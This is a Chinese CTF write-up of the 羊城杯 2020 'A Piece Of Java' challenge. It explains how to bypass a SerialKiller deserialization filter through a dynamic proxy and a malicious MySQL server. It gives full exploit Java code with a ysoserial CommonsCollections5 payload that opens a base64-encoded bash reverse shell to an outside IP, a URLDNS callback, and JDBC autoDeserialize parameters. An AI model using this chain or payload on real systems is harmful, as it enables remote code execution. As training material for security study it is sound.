[羊城杯 2020]A Piece Of Java
文章目录
源码分析
将jar放进jd-gui中查看源码
主要看两个路由,index和hello,在/hello路由中,会对我们传入的cookie进行反序列化,这个cookie是我们可控的
而且这个cookie是由UserInfo类对象序列化得到的,跟进,我们发现源码中存在InfoInvocationHandler类,其含有invoke方法,且继承了InvocationHandler接口,所以到这里就可能是动态代理了
其实到这里反序列化,再加上cc链可以直接打,但是题目做了限制,在反序列化那里,有个SerialKiller
我们查看serialkiller.conf
正常的cc链中不只用到这些,需要用到其他的,所以不能直接打
注意看这个InfoInvocationHandler类中的invoke方法,有判断语句
然后再看DatabaseInfo类,其含有getAllInfo方法和checkAllInfo方法
所以我们可以通过代理,外部调用,触发invoke,然后跟进checkAllInfo,然后进入connect,连接恶意mysql服务端,通过恶意服务端来进行cc链的执行
调用链为
Info.getAllInfo()
-->InfoInvocationHandler.invoke
-->DatabaseInfo.checkAllInfo
-->DatabaseInfo.connect()
从后往前测试,逐步写exp
从DatabaseInfo.connect()开始
我们看这个DatabaseInfo类的构造函数,发现它是通过很多方法来对类属性进行赋值,所以我们通过反射可以解决这个问题
这个类和成员变量是私有(private)的,不过成员方法都是public的
下面测试一下,测试成员变量的调用,以及成员方法的调用
package gdufs.challenge.web;
import gdufs.challenge.web.model.DatabaseInfo;
import gdufs.challenge.web.model.Info;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class exp {
public static void main(String[] args) throws Exception{
Info databaseInfo = new DatabaseInfo();
Class c = databaseInfo.getClass();
//改变成员变量
Field usernamefield = c.getDeclaredField("username");
usernamefield.setAccessible(true);
usernamefield.set(databaseInfo,"sk1y");
//调用成员方法
Method getUsernameMethod = c.getMethod("getUsername");
String a =(String) getUsernameMethod.invoke(databaseInfo);
System.out.println(a);
}
}
运行结果
我们可以写一个函数来代替反射的这些步骤
构造DatabaseInfo类对象
这里有好几种方法吧,本来是看那个成员变量是私有的,也可以通过getDeclaredField
来进行赋值
//通过getDeclaredField改变对象属性值
public static void setFieldValue(Object obj, String fieldname, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj,value);
}
//主函数中调用
Info databaseInfo = new DatabaseInfo();
setFieldValue(databaseInfo,"username","admin");
然后DatabaseInfo
类中成员方法都是共有的,所以也可以通过反射获取类的成员方法类进行赋值
//通过getmethod来修改类对象的值
public static void setField_method(Object obj,String methodname,Object value) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException {
Method method = obj.getClass().getMethod(methodname, String.class);
method.invoke(obj,value);
}
//主函数调用
Info databaseInfo = new DatabaseInfo();
setField_method(databaseInfo,"setUsername","root");
后来我发现,既然成员方法是共有的,那不是可以直接就使用成员方法进行赋值呗,(可恶啊,把基本的方法忘记了)
注意
,通过直接调用成员方法的时候,定义类对象的时候用
DatabaseInfo databaseInfo = new DatabaseInfo();
databaseInfo.setHost("vps");
而不是
Info databaseInfo = new DatabaseInfo();
这波是自己憨批了。。。
InfoInvocationHandler
InfoInvocationHandler infoInvocationHandler = new InfoInvocationHandler(databaseInfo);
动态代理
//然后使用动态代理,我们代理的是databaseInfo,所以就要获取其类加载器和接口
Info info =(Info) Proxy.newProxyInstance(databaseInfo.getClass().getClassLoader(), databaseInfo.getClass().getInterfaces(), infoInvocationHandler);
序列化
//序列化部分,参考MainController.java
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(info);
oos.close();
//将序列化结果输出
System.out.println(Base64.getEncoder().encode(baos.toByteArray()));
exp
package gdufs.challenge.web;
import gdufs.challenge.web.invocation.InfoInvocationHandler;
import gdufs.challenge.web.model.DatabaseInfo;
import gdufs.challenge.web.model.Info;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.Base64;
public class exp {
public static void main(String[] args) throws Exception{
DatabaseInfo databaseInfo = new DatabaseInfo();
databaseInfo.setHost("vps");
databaseInfo.setPort("7007");//恶意mysql服务端端口
///bin/bash -i >& /dev/tcp/vps/7015 0>&1 反弹shell监听的端口
// databaseInfo.setUsername("yso_URLDNS_http://hud0xf.ceye.io");
databaseInfo.setUsername("yso_CommonsCollections5_bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzExNi42Mi4yNDAuMTQ4LzcwMTUgMD4mMQ==}|{base64,-d}|{bash,-i}");
databaseInfo.setPassword("123&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor");
//System.out.println(databaseInfo.getUsername());
Method getUsernameMethod = databaseInfo.getClass().getMethod("getUsername");
String a =(String) getUsernameMethod.invoke(databaseInfo);
//System.out.println(a);
// Class c = Class.forName("gdufs.challenge.web.invocation.InfoInvocationHandler");
//创建一个InfoInvocationHandler类对象
InfoInvocationHandler infoInvocationHandler = new InfoInvocationHandler(databaseInfo);
//然后使用动态代理,我们代理的是databaseInfo,所以就要获取其类加载器和接口
Info info =(Info) Proxy.newProxyInstance(databaseInfo.getClass().getClassLoader(), databaseInfo.getClass().getInterfaces(), infoInvocationHandler);
//序列化部分,参考MainController.java
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(info);
oos.close();
//将序列化结果输出
//这里的输出语句要注意不要使用System.out.println();
System.out.printf(new String(Base64.getEncoder().encode(baos.toByteArray())));
}
}
恶意服务端
https://github.com/fnmsd/MySQL_Fake_Server
注意要将ysoserial-0.0.6-SNAPSHOT-all.jar
包放在该目录下
然后修改server.py,因为我的3306已经占用了
进行DNS请求,恶意服务端这里有响应
恶意服务端有响应
构造反弹shell
/bin/bash -i >& /dev/tcp/vps/port 0>&1
然后监听处也会有回显
参考链接
- https://zhzhdoai.github.io/2020/09/11/%E7%BE%8A%E5%9F%8E%E6%9D%AFEasy-Java%E9%A2%98%E8%A7%A3/
- https://guokeya.github.io/post/t746TU6pM/
- https://blog.csdn.net/fmyyy1/article/details/122706761
- https://bbs.ichunqiu.com/thread-60356-1-1.html